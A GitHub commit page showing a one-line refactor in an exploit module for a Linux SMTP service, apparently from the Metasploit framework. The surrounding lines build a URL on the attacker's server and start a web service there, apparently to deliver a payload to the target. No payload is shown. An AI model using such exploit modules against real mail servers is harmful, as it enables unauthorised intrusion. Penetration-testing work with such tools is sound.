We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 339edac commit d15ea18Copy full SHA for d15ea18
modules/exploits/linux/smtp/harakiri.rb
@@ -118,7 +118,7 @@ def exploit
118
srv_host = datastore['SRVHOST']
119
end
120
121
- service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
+ service_url = "http://#{srv_host}:#{datastore['SRVPORT'].to_s}#{resource_uri}"
122
service_url_payload = srv_host + resource_uri
123
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
124
start_service({'Uri' => {
0 commit comments